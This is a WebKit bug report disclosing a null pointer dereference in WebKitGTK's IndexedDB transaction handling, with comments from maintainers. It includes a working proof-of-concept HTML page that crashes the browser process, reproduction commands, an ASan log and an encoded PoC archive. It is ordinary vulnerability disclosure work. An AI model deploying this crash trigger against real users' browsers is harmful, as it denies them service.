226820 2021-06-09 08:10:30 -0700 WebKit WebCore::IDBTransaction::dispatchEvent null pointer dereference 2025-11-14 08:14:48 -0800 1 1 1 Unclassified WebKit WebKit Misc. WebKit Nightly Build Unspecified Linux NEW InRadar P2 Trivial --- 1 info webkit-unassigned aperez bfulgham cgarcia clopez mcatanzaro webkit-bug-importer oldest_to_newest 1768181 0 430967 info 2021-06-09 08:10:30 -0700 Created attachment 430967 POC with Docker for easier replication # Apple WebKit WebCore::IDBTransaction::dispatchEvent null pointer dereference ### Affected Software webkitGTK 2.32.0 - build in linux-18.04. ### The severity of the bug Low ### Reproduce - Steps ``` - clean local indexeddb: root# rm -rf /root/.local/share/webkitgtk* - open poc.html in Minibrowser version 2.32.0 - linux ``` - Or you may want to use my docker script to build. ``` # ./build.sh # export DISPLAY=:1000 # Xvfb :1000 -screen 0 1920x1080x24 & # rm -rf /root/.local/share/webkitgtk* && DISPLAY=:1000 LD_LIBRARY_PATH=/root/webkitASAN/lib /root/webkitASAN/bin/MiniBrowser ~/poc.html ``` ### Description of the vulnerability the poc.html ``` <script> request = window.indexedDB.open("AA", 1); request.onupgradeneeded = () => { select_event = new Event('select'); // create select event request.transaction.dispatchEvent(select_event); // dispatch this select event (1) }; </script> ``` ##### Enable IndexedDB debug Log: To print out the tracing log of the indexeddb part, we need to export an environment variable WebkitDebug by command: ``` root# export WebkitDebug=IndexedDB=debug root# rm -rf /root/.local/share/webkitgtk* && DISPLAY=:1000 LD_LIBRARY_PATH=/root/webkitASAN/lib /root/webkitASAN/bin/MiniBrowser ~/poc.html ``` The tracing log: ``` IDBFactory::open IDBConnectionToServer::openDatabase - AA@file://:file:// (<8, 3>) (1) IDBServer::openDatabase UniqueIDBDatabase::UniqueIDBDatabase() (0x7f5fc8e91000) AA@file://:file:// UniqueIDBDatabase::openDatabaseConnection UniqueIDBDatabase::handleDatabaseOperations - There are 1 pending UniqueIDBDatabase::handleCurrentOperation UniqueIDBDatabase::performCurrentOpenOperation (0x7f5fc8e91000) SQLiteIDBBackingStore::getOrEstablishDatabaseInfo - database AA UniqueIDBDatabase::startVersionChangeTransaction UniqueIDBDatabaseConnection::createVersionChangeTransaction - <8, 3> - 1 SQLiteIDBBackingStore::beginTransaction - <8, 2> UniqueIDBDatabase::handleDatabaseOperations - There are 0 pending after this round of handling IDBConnectionToServer::didOpenDatabase IDBOpenDBRequest::requestCompleted IDBDatabase::IDBDatabase - Creating database AA with version 1 connection 1 (0x7f24a980a680) IDBDatabase::startVersionChangeTransaction <8, 2> IDBTransaction::IDBTransaction - Transaction: <8, 2> mode versionchange newVersion 1 IDBOpenDBRequest::onUpgradeNeeded() - current version is 0, new is 1 IDBRequest::dispatchEvent - upgradeneeded (0x7f24a980a430) // <--- (2) IDBTransaction::dispatchEvent // <--- (3) select event IDBTransaction::handleOperationsCompletedOnServer IDBTransaction::commit IDBDatabase::willCommitTransaction <8, 2> IDBTransaction::commitOnServer IDBConnectionToServer::commitTransaction IDBServer::commitTransaction UniqueIDBDatabaseTransaction::commit UniqueIDBDatabase::commitTransaction - <8, 2> SQLiteIDBBackingStore::commitTransaction - <8, 2> SQLiteIDBTransaction::commit UniqueIDBDatabaseTransaction::commit (callback) UniqueIDBDatabaseConnection::didCommitTransaction - <8, 3> - 1 UniqueIDBDatabase::handleDatabaseOperations - There are 0 pending UniqueIDBDatabase::handleDatabaseOperations - There are 0 pending after this round of handling UniqueIDBDatabase::handleTransactions - There are 0 pending UniqueIDBDatabase::handleTransactions - There are 0 pending after this round of handling IDBConnectionToServer::didCommitTransaction IDBTransaction::didCommit IDBDatabase::didCommitTransaction <8, 2> IDBDatabase::didCommitOrAbortTransaction <8, 2> IDBTransaction::fireOnComplete IDBTransaction::dispatchEvent // <--- (4) complete event ``` Following the log, the Minibrowser called into function IDBTransaction::dispatchEvent 2 times (3), (4), notice that it crashed at the second call(4). Let see the source code of this function. http://122.11.210.191/webkit_gtk/webkit_gtk/webkit_gtk/Source/WebCore/Modules/indexeddb/IDBTransaction.cpp.html#_ZN7WebCore14IDBTransaction13dispatchEventERNS_5EventE ```cpp // WebkitGTK2.32.0/Source/WebCore/Modules/indexeddb/IDBTransaction.cpp:592 void IDBTransaction::dispatchEvent(Event& event) { LOG(IndexedDB, "IDBTransaction::dispatchEvent"); ASSERT(canCurrentThreadAccessThreadLocalData(m_database->originThread())); ASSERT(scriptExecutionContext()); ASSERT(!isContextStopped()); ASSERT(event.type() == eventNames().completeEvent || event.type() == eventNames().abortEvent); auto protectedThis = makeRef(*this); EventDispatcher::dispatchEvent({ this, m_database.ptr() }, event); m_didDispatchAbortOrCommit = true; if (isVersionChange()) { ASSERT(m_openDBRequest); m_openDBRequest->versionChangeTransactionDidFinish(); if (event.type() == eventNames().completeEvent) { if (m_database->isClosingOrClosed()) m_openDBRequest->fireErrorAfterVersionChangeCompletion(); else m_openDBRequest->fireSuccessAfterVersionChangeCommit(); } m_openDBRequest = nullptr; // <--- (5) } } ``` 1. In poc.html, we set up a callback for event |IDBRequest::onupgradeneeded|. When the callback is called, the function |IDBTransaction::dispatchEvent| also will be called after to dispatch our select event (1). 2. At the first time when indexedDB is created, it will dispatch an event |IDBRequest::onupgradeneeded|(2) to update DB from version 0 -> version 1. Then it calls into our callback and |IDBTransaction::dispatchEvent|(3) to dispatch our select event. At the first time it calls into |IDBTransaction::dispatchEvent| for changing version, |m_openDBRequest| has value = nullptr (5). 3. Later, a callback calls into |IDBTransaction::dispatchEvent|(4) again to dispatch complete event, but this time |m_openDBRequest| is a null pointer, this lead to null pointer dereference bug. #### Asan Log ``` root@f4d851ca4fc4:~# DISPLAY=:1337 ASAN_OPTIONS=allocator_may_return_null=1,detect_leaks=0,exitcode=42 LD_LIBRARY_PATH=/root/webkitASAN/lib ASAN_SYMBOLIZER_PATH=/root/clang/bin/llvm-symbolizer /root/webkitASAN/bin/MiniBrowser indexeddb.html WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useSharedArrayBuffer will be disabled. WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useSharedArrayBuffer will be disabled. WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useSharedArrayBuffer will be disabled. AddressSanitizer:DEADLYSIGNAL ================================================================= ==728==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000090 (pc 0x7f2c6b776609 bp 0x7ffec44de450 sp 0x7ffec44de2f0 T0) ==728==The signal is caused by a WRITE memory access. ==728==Hint: address points to the zero page. #0 0x7f2c6b776609 in WebCore::IDBOpenDBRequest::versionChangeTransactionDidFinish() /root/webkitgtk-2.32.0/mybuild/../Source/WebCore/Modules/indexeddb/IDBOpenDBRequest.cpp:86:36 #1 0x7f2c6b7abc63 in WebCore::IDBTransaction::dispatchEvent(WebCore::Event&) /root/webkitgtk-2.32.0/mybuild/../Source/WebCore/Modules/indexeddb/IDBTransaction.cpp:608:26 #2 0x7f2c6c9c682a in WebCore::EventLoop::run() /root/webkitgtk-2.32.0/mybuild/../Source/WebCore/dom/EventLoop.cpp:123:19 #3 0x7f2c6cbb2bc8 in WebCore::WindowEventLoop::didReachTimeToRun() /root/webkitgtk-2.32.0/mybuild/../Source/WebCore/dom/WindowEventLoop.cpp:120:5 #4 0x7f2c6e0e142d in WebCore::ThreadTimers::sharedTimerFiredInternal() /root/webkitgtk-2.32.0/mybuild/../Source/WebCore/platform/ThreadTimers.cpp:127:23 #5 0x7f2c655a3fd4 in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::operator()(void*) const /root/webkitgtk-2.32.0/mybuild/../Source/WTF/wtf/glib/RunLoopGLib.cpp:177:16 #6 0x7f2c655a3fd4 in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::__invoke(void*) /root/webkitgtk-2.32.0/mybuild/../Source/WTF/wtf/glib/RunLoopGLib.cpp:169:43 #7 0x7f2c655a156c in WTF::RunLoop::$_0::operator()(_GSource*, int (*)(void*), void*) const /root/webkitgtk-2.32.0/mybuild/../Source/WTF/wtf/glib/RunLoopGLib.cpp:53:28 #8 0x7f2c655a156c in WTF::RunLoop::$_0::__invoke(_GSource*, int (*)(void*), void*) /root/webkitgtk-2.32.0/mybuild/../Source/WTF/wtf/glib/RunLoopGLib.cpp:45:5 #9 0x7f2c5dc7b3a4 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c3a4) #10 0x7f2c5dc7b76f (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c76f) #11 0x7f2c5dc7ba81 in g_main_loop_run (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4ca81) #12 0x7f2c655a2abe in WTF::RunLoop::run() /root/webkitgtk-2.32.0/mybuild/../Source/WTF/wtf/glib/RunLoopGLib.cpp:108:9 #13 0x7f2c6a07a46d in WebKit::AuxiliaryProcessMainBase<WebKit::WebProcess, true>::run(int, char**) /root/webkitgtk-2.32.0/mybuild/../Source/WebKit/Shared/AuxiliaryProcessMain.h:70:9 #14 0x7f2c6a07a46d in int WebKit::AuxiliaryProcessMain<WebKit::WebProcessMainGtk>(int, char**) /root/webkitgtk-2.32.0/mybuild/../Source/WebKit/Shared/AuxiliaryProcessMain.h:96:27 #15 0x7f2c5c658bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310 #16 0x41cc19 in _start (/usr/libexec/webkit2gtk-4.0/WebKitWebProcess+0x41cc19) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/webkitgtk-2.32.0/mybuild/../Source/WebCore/Modules/indexeddb/IDBOpenDBRequest.cpp:86:36 in WebCore::IDBOpenDBRequest::versionChangeTransactionDidFinish() ==728==ABORTING ** (MiniBrowser:660): WARNING **: 06:31:33.922: WebProcess CRASHED ``` Sending on behalf of our researcher, TẠ ĐÌNH SUNG of STAR Labs 1768182 1 webkit-bug-importer 2021-06-09 08:10:41 -0700 <rdar://problem/79077281> 1778778 2 clopez 2021-07-22 11:58:21 -0700 (In reply to STAR Labs from comment #0) > Created attachment 430967 [details] > POC with Docker for easier replication > > # Apple WebKit WebCore::IDBTransaction::dispatchEvent null pointer > dereference > > ### Affected Software > > webkitGTK 2.32.0 - build in linux-18.04. > Note that WebKitGTK is the GTK port of the WebKit project. Meanwhile Apple WebKit is the Mac/iOS port of the WebKit project. Both ports same a common codebase, but there are enough differences between the two such that not necessarily a security issue reported in one affects the other. I'm retitling this appropriately since the issue you report seems to have been only tested with WebKitGTK. 1827331 3 info 2021-12-31 04:17:08 -0800 Just wondering if this is fixed and if there are any CVE assigned to this? Thanks in advance. 2158797 4 mcatanzaro 2025-11-14 08:14:48 -0800 Since a null pointer dereference will cause the process to immediately crash, there's no security impact beyond denial of service, which is not worth requesting a CVE for. I don't think this can reasonably quality as a security bug. 430967 2021-06-09 08:10:30 -0700 2021-06-09 08:10:30 -0700 POC with Docker for easier replication Apple WebKit WebCore_IDBTransaction_dispatchEvent null pointer dereference.7z application/x-7z-compressed 4227 info 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 AgoBJU6JHAAA